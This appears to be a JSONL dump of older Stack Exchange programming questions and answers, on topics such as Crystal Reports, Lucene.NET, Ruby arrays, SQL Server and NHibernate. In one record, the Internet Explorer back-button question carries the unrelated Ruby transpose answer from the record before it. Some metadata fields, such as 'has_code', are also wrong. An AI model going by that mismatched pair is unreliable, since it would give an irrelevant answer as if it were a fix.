{"id": "hf_1ea3f2a80bdb", "question": "<p>I'm trying to export a Crystal Report to an HTML file, but when I call the Export method, I immediately get this error:</p>\n\n<blockquote>\n  <p><strong>Source</strong>: Crystal Reports ActiveX Designer </p>\n  \n  <p><strong>Description</strong>: Failed to export the report.</p>\n</blockquote>\n\n<p>I have tried both crEFTHTML40 and crEFTHTML32Standard as export format types - and both result in the same error.</p>\n\n<p>Here is a highly simplified version of what I'm doing:</p>\n\n<pre><code>Dim objCRReport As CRAXDRT.Report\n[...]\nobjCRReport.ExportOptions.FormatType = 32 'crEFTHTML40\nobjCRReport.ExportOptions.DestinationType = 1 'crEDTDiskFile\nobjCRReport.ExportOptions.DiskFileName = \"C:\\reportInHtmlFormat.html\"\nobjCRReport.Export False '&lt;--- \"Failed to export the report\" error here\n</code></pre>\n\n<p>Please note that I am referencing the \"Crystal Reports 9 ActiveX Designer Runtime Library\" specifically.</p>\n", "question_body": "", "answer": "I'm not sure what you have in the\n```\n[...]\n```\nsection but your code should include a call to open the report with an instance of the CRAXDRT Application.\n```\n```\nDim objCRReport As CRAXDRT.Report\n\n'***********************************\nDim objCRApp As New CRAXDRT.Application\n\nobjCRReport = objCRApp.OpenReport(\"<YOUR REPORT FILENAME>\", 1)\n'***********************************\n\n[...]\nobjCRReport.ExportOptions.FormatType = 32 'crEFTHTML40\nobjCRReport.ExportOptions.DestinationType = 1 'crEDTDiskFile\nobjCRReport.ExportOptions.DiskFileName = \"C:\\reportInHtmlFormat.html\"\nobjCRReport.Export False '<--- \"Failed to export the report\" error here\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.825825"}
{"id": "hf_ee4843694ff3", "question": "<p>It turns out install shield doesn't support file download resuming.</p>\n\n<p>Is there a .net component that provides this functionality?</p>\n", "question_body": "", "answer": "I don't think so,but it's not that hard to write one . There are a lot of\nHTTP Clients\nalready . All that you would need to do is checking to see if the web server actually supports resuming . Check this blog entry for a little info about HTTP and download resuming :\nhttp://www.west-wind.com/WebLog/posts/244.aspx\nAll you would need to do is store the number of bytes read so far somewhere ( file , database ) , and read that when you're starting your application again . Be sure to check the md5 for the file ( if it has one ) , to ensure no errors occured .", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.873581"}
{"id": "hf_89e5fca6de7f", "question": "<p>I want to make some passages of a standard tooltip bold in a WinForms application. Is this possible?</p>\n\n<p>If not, is there a (free) tooltip component that allows me to style them (preferably also border and background)?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You can use this type :\nBalloon tool tip\n. This let you have some bold title and some color option. You might be able to modify the source to get underline, italic and bold inside the message.\nUpdate:\nYou can modify the drawing of the ToolTip (and the FONT object of the text).\nThis is how to do it\n. The code in this link is for the normal ToolTip, not the Balloon I posted above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.897636"}
{"id": "hf_1d0361265f83", "question": "<p>I'm currently running Lucene.net in a web application and am wondering about the best method, performance-wise.</p>\n\n<p>I currently have it set up so that all index writes get processed together in a scheduled process, along with optimizing the index.</p>\n\n<p>However for searching - I'm currently opening and closing the searcher per search, which I know isn't ideal.</p>\n\n<p>What do you think would be the best approach in this situation?</p>\n\n<p>I'll need to close and reopen the index searcher once the updates/optimization is processed so the scheduled process (which is a windows console app) needs to communicate it's finished to the web application.</p>\n", "question_body": "", "answer": "I just integrated Lucene.NET into BugTracker.NET.  I'm not sure that what I did is the best, but it seems to be working well.\nI create the index at app startup.\nI create a searcher and keep it around so that the index isn't reloaded with each search.  All threads share the same searcher.  When the searcher searches, it grabs a lock.\nMeanwhile, I have an IndexWriter that updates the index when there is a data change.  It is just changing a little bit so it does its task quick.   When it runs, it grabs the same lock, destroys the searcher, updates the index, and the re-recreates the searcher.   The new searcher stays around until the next update of the index.   The searcher always is working with an up-to-date index.\nYou can get the BugTracker.NET source and look at the files my_lucene.cs and search_text.aspx.   It's all in those two files, and there isn't that much code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.921165"}
{"id": "hf_ce7fc49b1229", "question": "<p>I have a CSV data file with rows that may have lots of columns 500+ and some with a lot less.  I need to transpose it so that each row becomes a column in the output file.  The problem is that the rows in the original file may not all have the same number of columns so when I try the transpose method of array I get:</p>\n\n<blockquote>\n  <p>`transpose': element size differs (12 should be 5) (IndexError)</p>\n</blockquote>\n\n<p>Is there an alternative to transpose that works with uneven array length?</p>\n", "question_body": "", "answer": "I would insert nulls to fill the holes in your matrix, something such as:\n```\n```\na = [[1, 2, 3], [3, 4]]\n\n# This would throw the error you're talking about\n# a.transpose\n\n# Largest row\nsize = a.max { |r1, r2| r1.size <=> r2.size }.size\n\n# Enlarge matrix inserting nils as needed\na.each { |r| r[size - 1] ||= nil }\n\n# So now a == [[1, 2, 3], [3, 4, nil]]\naa = a.transpose\n\n# aa == [[1, 3], [2, 4], [3, nil]]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.956661"}
{"id": "hf_75bbd3d72605", "question": "<p>So I'm creating some HTML using javascript based on where the user clicks on the page. On page load the script replaces an empty div with a ul and some data. The user clicks on that data to receive more and so on. Now when the user navigates off the page and then hits the back button to go back to the page, IE displays a blank page with the replaced divs, in all other browsers, FF, Opera, Safari, the page either reloads to the initial ul or goes back to the last state with the dynamic data in it.</p>\n\n<p>Anyone have an idea as to what might be happening here? Any help is appreciated.</p>\n", "question_body": "", "answer": "I would insert nulls to fill the holes in your matrix, something such as:\n```\n```\na = [[1, 2, 3], [3, 4]]\n\n# This would throw the error you're talking about\n# a.transpose\n\n# Largest row\nsize = a.max { |r1, r2| r1.size <=> r2.size }.size\n\n# Enlarge matrix inserting nils as needed\na.each { |r| r[size - 1] ||= nil }\n\n# So now a == [[1, 2, 3], [3, 4, nil]]\naa = a.transpose\n\n# aa == [[1, 3], [2, 4], [3, nil]]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:43.980000"}
{"id": "hf_af767713460d", "question": "<p>We're looking for a way to log any call to stored procedures in Oracle, and see what parameter values were used for the call.</p>\n\n<p>We're using Oracle 10.2.0.1</p>\n\n<p>We can log SQL statements and see the bound variables, but when we track stored procedures we see bind variables B1, B2, etc. but no values.</p>\n\n<p>We'd like to see the same kind of information we've seen in MS SQL Server Profiler.</p>\n\n<p>Thanks for any help</p>\n", "question_body": "", "answer": "You could take a look at the\nDBMS_APPLICATION_INFO package\n.  This allows you to \"instrument\" your PL/SQL code with whatever information you want - but it does entail adding calls to each procedure to be instrumented.\nSee also\nthis AskTom thread\non using DBMS_APPLICATION_INFO to monitor PL/SQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.003714"}
{"id": "hf_2a170ce7a58c", "question": "<p>A client has asked whether or not I can provide some support for his intranet which runs on Oracle Application Server Portal. Not having used this technology before I thought I'd ask if anyone else has and what they thought of developing for it. </p>\n\n<p>I'm a c#/ASP.NET developer so I note with apprehension that there's no mention of .NET in the developers guide. Anyone tried to make the two work together and lived to tell the tale?</p>\n", "question_body": "", "answer": "The only experience I've had with an Oracle Portal was obliquely, when I inherited a system that used one for a relatively simple maintenance web application.  A large part of my opinion of Oracle's stuff comes from my background with SQL Server/ASP.NET, but Oracle is just plain harder to set up and administer and keep running, and that applies not just to the database but also to auxiliary stuff like Oracle Portal, their SOA suite, their Mobility Server etc.  Even experienced Oracle people tend to agree with this, so hopefully I won't piss anyone off.\nI would definitely not provide support for an Oracle Portal application (or any other Oracle product, for that matter) unless I had a lot of experience with the tools.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.051641"}
{"id": "hf_e2179b6c7df0", "question": "<p>How do I find a stored procedure in a Sybase database given a text string that appears somewhere in the proc? I want to see if any other proc in the db has similar logic to the one I'm looking at, and I think I have a pretty unique search string (literal)</p>\n\n<p>Edit:</p>\n\n<p>I'm using Sybase version 11.2</p>\n", "question_body": "", "answer": "In SQL Anywhere and Sybase IQ:\n```\n```\nselect * from SYS.SYSPROCEDURE where proc_defn like '%whatever%'\n```\n```\nI'm not that familiar with ASE, but according to the docs (available from sybooks.sybase.com), it's something like:\n```\n```\nselect * from syscomments where texttype = 0 and text like '%whatever%'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.076152"}
{"id": "hf_779b893b1d65", "question": "<p>I am loading some data from an XML document, modifying it, and writing back out to XML.  The reading is done using a SAX parser library and the writing is done with a piece of custom code.  Sometimes, the file is modified externally, and extra elements are added (such as references to stylesheets).  Rather than losing these extra elements when I load and save the file, I would like to pass through any unknown tags so that they appear </p>\n\n<p>When unknown elements are separate from interpreted elements, it should be straightforward to save unknown elements and attributes as strings and output these afterwards, but when they are interspersed and nested inside interpreted elements, it becomes less obvious. </p>\n\n<p>Can anybody suggest a succinct way to do this?  Would it be simpler to switch to a DOM parser?  Performance is not an issue.</p>\n\n<p><em>NB.</em> I am working in C++ with the Gnome Glib::Markup::Parser, but would prefer language/library agnostic answers.</p>\n", "question_body": "", "answer": "I don't know how you've written your content handler, but it's methods should be called on all events, including on the external modifications you want to preserve.  Your\n```\nstartElement()\n```\nand\n```\nendElement()\n```\ncallbacks could test element name and attributes to decide whether to call specialized methods on the elements to be modified, but by default just reconstruct and output the event on which the callback was called.  In that way, any elements you don't specifically handle specially just get output by default.\nYou could also do the same kind of thing in XSLT.  Take an identity transform (a stylesheet that outputs exactly what it is given for input) and add to it templates with more specific match expressions for the custom modifications.  I find XSLT easier to work with for most applications than either SAX or DOM.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.136520"}
{"id": "hf_75809abfac2d", "question": "<p>Similar to the one here on StackOverFlow, I would be needing to implement a way for people to vote up and vote down comments in a forum like site.</p>\n\n<p>However instead of having a generic overall score, we will display the total amount of \"thumbs up\" and \"thumbs down\". The overall score will be needed for filtering purposes, such as \"sort by highest rated\", \"show only ratings with + 3\"</p>\n\n<p>What is the best implementation strategy?</p>\n\n<p>As a user suggested, I would also be storing the information who casted the vote</p>\n", "question_body": "", "answer": "Well you'll need to store ratings (Comment ID, UserID, Vote-Value) so you can calculate and stop duplicate voting but I would strongly suggest you also add a VotesUp and VotesDown fields on your main comment entity.\nWhy the duplication? Speed. You're going to be doing disgusting amounts of\n```\nSUM-WHERE\n```\nstatements otherwise and they'll run your database server into the ground. A few extra bytes on the header record and you'll be able to sort and filter to your heart's content.\nEdit: If you're going to also sort by overall score in some cases, you might want to add a third field (VoteTotal).\nEdit 2: The duplication is pointless if you're able to cache all the comment headers in memory. That's a lot of data though and you'd need a ton of memory to effectively cache it. If you're not a billionaire, I'd just duplicate the data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.161213"}
{"id": "hf_8b2e5630c5d9", "question": "<p>How do implement the iterator pattern in <a href=\"http://en.wikipedia.org/wiki/Visual_Basic_.NET\" rel=\"nofollow noreferrer\">VB.NET</a>, which does not have the <code>yield</code> keyword?</p>\n", "question_body": "", "answer": "Hmm, looks like you might be\nout of luck\n:\nI was struggling with an issue today when converting some C# to VB.NET. C# has a really cool \"yield return\" statement that is used in an iterator block to provide a value to the enumerator object. VB.NET does not have the \"yield\" keyword. So, there are a few solutions (none of which are really clean) to get around this. You could use a return statement to return the value if you are looping through and would like to break an enumerator and return a single value. However, if you'd like to return the entire enumeration, create a List() of the child type and return the list. Since you are usually using this with an IEnumerable, the List() will work nice.\nThat was written a year ago, not sure if anyone has come up with anything else better since then..\nEdit: this will be possible in the version 11 of VB.NET (the one after VS2010), support for iterators is planned.  The spec\nis available here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.233748"}
{"id": "hf_e37e40496594", "question": "<p>I have a <code>QDirModel</code> whose current directory is set. Then I have a <code>QListView</code> which is supposed to show the files in that directory. This works fine.</p>\n\n<p>Now I want to limit the files shown, so it only shows <em>png</em> files (the filename ends with .png). The problem is that using a <code>QSortFilterProxyModel</code> and setting the filter regexp will try to match every parent of the files as well. According to the documentation:</p>\n\n<blockquote>\n  <p>For hierarchical models, the filter is\n  applied recursively to all children.\n  If a parent item doesn't match the\n  filter, none of its children will be\n  shown.</p>\n</blockquote>\n\n<p>So, how do I get the <code>QSortFilterProxyModel</code> to only filter the files in the directory, and not the directories it resides in?</p>\n", "question_body": "", "answer": "We ran into something similar where I work, and ended up making our own proxy model to do our filtering.  However, looking through the documentation for what you want (which seems like it would be a more common case), I came across two possibilities.\nYou might be able to set a name filter on the QDirModel and filter things that way.  I have no idea if this will work like you want, or if the name filters apply to directories also.  The documentation is kind of sparse on these.\nSubclass the QSortFilterProxyModel and override the\n```\nfilterAcceptsRow\n```\nfunction.  From the documentation:\nCustom filtering behavior can be achieved by reimplementing the filterAcceptsRow() and filterAcceptsColumn() functions.\nThen you could presumably use the model index to check if the index item is a directory (automatically accept) or a file (filter on filename).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.258187"}
{"id": "hf_03d8ad4fda1e", "question": "<p>I was wondering what would be the best approach you guys would take to relocate an entire Eclipse workspace? Assuming it's either versioned and exported, what would you do? Import the file? Checkout the whole thing from the repo? Thanks much in advance!</p>\n", "question_body": "", "answer": "Maybe I'm missing something, but wouldn't you just start Eclipse, and either select the new workspace to use or select\n```\nSwitch workspace\n```\nfrom the\n```\nFile\n```\nmenu?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.282341"}
{"id": "hf_4c66001a45fa", "question": "<p>I have an SQLite table that contains a BLOB I need to do a size/length check on. How do I do that?</p>\n<p>According to documentation <code>length(blob)</code> only works on texts and will stop counting after the first NULL. My tests confirmed this. I'm using SQLite 3.4.2.</p>\n", "question_body": "", "answer": "I haven't had this problem, but you could try\n```\nlength(hex(glob))/2\n```\nUpdate (Aug-2012):\nFor SQLite 3.7.6 (released April 12, 2011) and later,\n```\nlength(blob_column)\n```\nworks as expected with both text and binary data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.365027"}
{"id": "hf_f65f92c738db", "question": "<p>I am in a process of designing a custom SharePoint application. On a previous project, all the data was kept in SharePoint lists and that's the way I've been trying now. But, I'm getting to the point where the data model grows and I feel a need to normalize it and split one logical entity into several physical lists. I'm wondering if I should switch from the SP lists to a classic database. On one hand, I am happy with the SharePoint out-of-box New Item, Edit Item, All Items forms; on the other hand I'm worried that the performance will suffer once I have to query joined data (if it stays in <code>SPList</code>s).<br>\nIf you have any insight or experience with this problem, please share. Thanks.</p>\n", "question_body": "", "answer": "If you have complex queries, I suggest you put them into a separate database. Lists are good when the data model doesn't grow that often.\nExtending the amount of fields inside the columns of a list includes updating the ContentTypes directly with an STSADM that you will have to code. However, querying the data directly from the database (with some cache of course) will lead to a faster development without having to update all ContentTypes linked to every lists associated with it.\nOf course, if you activate the Caching, the data queryied from the database will be cached at the page output level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.464138"}
{"id": "hf_1e1716241a65", "question": "<p>In <a href=\"https://stackoverflow.com/questions/226206/alternating-item-style\">this question</a>, I was given a really cool answer to alternating an image and its description between left and right, respectively.  Now I want to apply styling to both, e.g. padding-top, padding-bottom etc. How do I apply a style to both the RowStyle and AlternatingRowStyle in this scenario.</p>\n\n<pre><code>&lt;AlternatingRowStyle CssClass=\"ProductAltItemStyle\" /&gt;   \n&lt;RowStyle CssClass=\"ProductItemStyle\" /&gt;\n&lt;Columns&gt;\n    &lt;asp:TemplateField&gt;\n        &lt;ItemTemplate&gt;\n            &lt;div class=\"Image\"&gt;&lt;asp:Image runat=\"server\" ID=\"productImage\" ImageUrl='&lt;%# Eval(\"imageUrl\") %&gt;' /&gt;&lt;/div&gt;\n            &lt;div class=\"Description\"&gt;&lt;asp:Label runat=\"server\" ID=\"lblProductDesc\" Width=\"100%\" Text='&lt;%# Eval(\"productDesc\") %&gt;'&gt;&lt;/asp:Label&gt;&lt;/div&gt;\n        &lt;/ItemTemplate&gt;\n    &lt;/asp:TemplateField&gt;\n</code></pre>\n", "question_body": "", "answer": "Here's how you do it:\n```\n```\n.ProductAltItemStyle, .ProductItemStyle {\n    // CSS Rules that apply to both go here\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.499947"}
{"id": "hf_89a054ea4b90", "question": "<p>How can I convert a varchar field of the form YYYYMMDD to a datetime in T-SQL?</p>\n\n<p>Thank you.</p>\n", "question_body": "", "answer": "```\n```\nselect convert(datetime, '20081030')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.523556"}
{"id": "hf_e59424c7a4a8", "question": "<p>I like Vim's visual mode. <kbd>v</kbd> for highlight/select chars or lines, <kbd>Ctrl</kbd><kbd>v</kbd> for rectangle highlighting, as far as I know (I am a beginner). Is there any way to use visual mode to highlight last two chars, for example, on each line for some selected lines? The selected lines are in different length. Basically, I would like to find a quick way to remove the last two chars for some selected lines. Not sure I can use visual mode to highlight irregular area.</p>\n", "question_body": "", "answer": "I can't think of a way to do this in visual mode, but you could use a command like this to do it...\n```\n```\n:10,20 normal $xx\n```\n```\nThis would go to each line between line number 10 and 20, use $ to go to the end of the line, and then use x twice to delete two characters.  Normal just tells vim to use the following symbols as if they were keyboard shortcuts entered in normal mode (i.e after hitting esc).\nDoes that help?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.618060"}
{"id": "hf_db1f5e203fd3", "question": "<p>I tried this:</p>\n\n<pre><code>ALTER TABLE My.Table DROP MyField\n</code></pre>\n\n<p>and got this error:</p>\n\n<p>-MyField is not a constraint.</p>\n\n<p>-Could not drop constraint. See previous errors.</p>\n\n<p>There is just one row of data in the table and the field was just added.</p>\n\n<p><strong>EDIT:</strong>\nJust to follow up, the sql was missing COLUMN indeed.\nNow I get even more seriously looking errors though:</p>\n\n<ul>\n<li>The object 'some_object__somenumbers' is dependent on column 'MyField'</li>\n<li>ALTER TABLE DROP COLUMN MyField failed because one or more objects access this column.</li>\n</ul>\n\n<p><strong>EDIT:</strong></p>\n\n<pre><code>ALTER TABLE TableName DROP Constraint ConstraintName\n</code></pre>\n\n<p>worked, after that I was able to use the previous code to remove the column. Credit goes to both of you, thanks.</p>\n", "question_body": "", "answer": "I think you are just missing the COLUMN keyword:\n```\n```\nALTER TABLE TableName DROP COLUMN ColumnName\n```\n```\nYou will also need to make sure that any constraint that is depending on ColumnName is dropped first.\nYou can do this by:\n```\n```\nALTER TABLE TableName DROP ConstraintName\n```\n```\nFor each constraint that you have.\nIf you have indexes based on the column, you will also need to drop those indexes first.\n```\n```\nDROP INDEX TableName.IndexName\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.678945"}
{"id": "hf_ba8806d43018", "question": "<p>I have a DTS package that drops a table then creates it and populates it but sometimes something happens and the package fails after the drop table.  If it's rerun it fails cuz the table hasn't been created yet.  </p>\n\n<p>Is there something like \"if exists\" for SQLServer 2000 like in MySQL?</p>\n\n<p>thanks.</p>\n", "question_body": "", "answer": "```\n```\nIF EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[TableName]') AND type in (N'U'))\nDROP TABLE TableName;\nGO\n```\n```\nYou can check a\nlist of type definitions in the sys.objects table here\nif you want to check if other objects in your database exist.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.806476"}
{"id": "hf_d9b99d324229", "question": "<p>I am developing a C# program, and i have one function that consumes too much CPU. I would like to know a way to control this by code (not with any external application) and restrict the percentage of CPU usage. \nFor example, if it uses 90% of the CPU usage, to make my app consume only a 20%, even if it becomes slower. It must be done automatically and from within the app.\nIf you provide a class, it would be fantastic.</p>\n", "question_body": "", "answer": "I don't know if you can do that, but you can change the thread priority of the executing thread via the\nPriority\nproperty.  You would set that by:\n```\n```\nThread.CurrentThread.Priority = ThreadPriority.Lowest;\n```\n```\nAlso, I don't think you really want to cap it.  If the machine is otherwise idle, you'd like it to get busy on with the task, right?  ThreadPriority helps communicate this to the scheduler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.855409"}
{"id": "hf_b87566a89fbc", "question": "<p>I want to fade out an element and all its child elements after a delay of a few seconds. but I haven't found a way to specify that an effect should start after a specified time delay.</p>\n", "question_body": "", "answer": "```\n```\nsetTimeout(function() { $('#foo').fadeOut(); }, 5000);\n```\n```\nThe 5000 is five seconds in milliseconds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.880477"}
{"id": "hf_e9f3d3a6d727", "question": "<p>Sometimes you need to upgrade the database with many rows that you have in a datatable or you have an array full of data, instead of putting all this data together in a string and then splitting in SQL SERVER, or instead of iterating the datatable in the code row by row and updating database, is there any other way? Is there other type of variables besides the traditional ones in SQL SERVER 2005?</p>\n", "question_body": "", "answer": "There's a few ways to do this.\nIf you're simply inserting rows, then I would create a DataTable object with the information in it, then use the SqlBulkCopy object:\n```\n```\nSqlBulkCopy copier = new SqlBulkCopy(connectionString, SqlBulkCopyOptions.Default);\ncopier.BatchSize = 500; //# of rows to insert at a time\ncopier.DestinationTableName = \"dbo.MyTable\";\ncopier.WriteToServer(myDataTable);\n```\n```\nAnother option is to wrap your data in xml (however you want to do that), and send it to your stored procedure (which does whatever you need it to do) using the sql 2005 'xml' data type", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:44.993544"}
{"id": "hf_a194cb179164", "question": "<p>I have a User object that has a Country object on it. I map this with a many-to-one tag in the User mapping file:</p>\n\n<pre><code>&lt;many-to-one name=\"Country\" column=\"CountryID\" cascade=\"none\"/&gt;\n</code></pre>\n\n<p>How do I update a User's country?</p>\n\n<p>At the moment my UI has a dropdown of countries and the ID of the new country is passed to the controller. The controller then sets the ID of the User's country from that value. So:</p>\n\n<pre><code>var user = session.Get&lt;User&gt;(userID);\nuser.Country.ID = Convert.ToInt32(Request.Form[\"Country_ID\"]);\n</code></pre>\n\n<p>But when I call:</p>\n\n<pre><code>session.SaveOrUpdate(user);\n</code></pre>\n\n<p>I get an error saying that \"identifier of an instance of Country was altered from 7 to 8\". Presumably this is because the Country object is marked as dirty by NHibernate? I don't want to update the country object though, just the ID reference in the User. Is it possible to do it this way?</p>\n\n<p>Thanks,\nJon</p>\n", "question_body": "", "answer": "```\n```\nvar user = session.Get<User>(userID);\nuser.Country = session.Get<Country>(Convert.ToInt32(Request.Form[\"Country_ID\"]));\n```\n```\nYou must retrieve the country from the database and then set it to the user", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.017658"}
{"id": "hf_f73a6ef4a2cd", "question": "<p>My co-founder is currently asking on our blog for an embeddable code widget.</p>\n\n<p><a href=\"http://devver.net/blog/2008/10/someone-please-build-an-awesome-embeddable-code-widget/\" rel=\"nofollow noreferrer\">http://devver.net/blog/2008/10/someone-please-build-an-awesome-embeddable-code-widget/</a></p>\n\n<p>Basically we want something like <a href=\"http://pastie.org/\" rel=\"nofollow noreferrer\">http://pastie.org/</a> or <a href=\"http://codepad.org/\" rel=\"nofollow noreferrer\">http://codepad.org/</a> but we really want to embed the code section in our blog. We know there are plugins for common blogs and server side solutions, but it would be great to be able to just embed a little javascript and have nicely formatted code anywhere...</p>\n\n<p>Does something like this exist? Have we just missed it?</p>\n", "question_body": "", "answer": "I think you want a javascript syntax highlighter\nhttp://code.google.com/p/syntaxhighlighter/\nhttp://shjs.sourceforge.net/\nhttp://www.google.com/search?q=javascript+syntax+highlighter\nSometimes you just keep thinking in the wrong keywords ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.077418"}
{"id": "hf_91792019a9dd", "question": "<p>I noticed the specificaition for Collections.sort:</p>\n\n<pre><code>public static &lt;T&gt; void sort(List&lt;T&gt; list, Comparator&lt;? super T&gt; c)\n</code></pre>\n\n<p>Why is the \"<code>? super</code>\" necessary here?  If <code>ClassB</code> extends <code>ClassA</code>, then wouldn't we have a guarantee that a <code>Comparator&lt;ClassA&gt;</code> would be able to compare two <code>ClassB</code> objects anyway, without the \"<code>? super</code>\" part?</p>\n\n<p>In other words, given this code:</p>\n\n<pre><code>List&lt;ClassB&gt; list = . . . ;\nComparator&lt;ClassA&gt; comp = . . . ;\nCollections.sort(list, comp);\n</code></pre>\n\n<p>why isn't the compiler smart enough to know that this is OK even without specifying \"<code>? super</code>\" for the declaration of Collections.sort()?</p>\n", "question_body": "", "answer": "Josh Bloch had a talk at Google I/O this year, called\nEffective Java Reloaded\n, which you may find interesting. It talks about a mnemonic called \"Pecs\" (producer\n```\nextends\n```\n, consumer\n```\nsuper\n```\n), which explains why you use\n```\n? extends T\n```\nand\n```\n? super T\n```\nin your input parameters (only; never for return types), and when to use which.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.100951"}
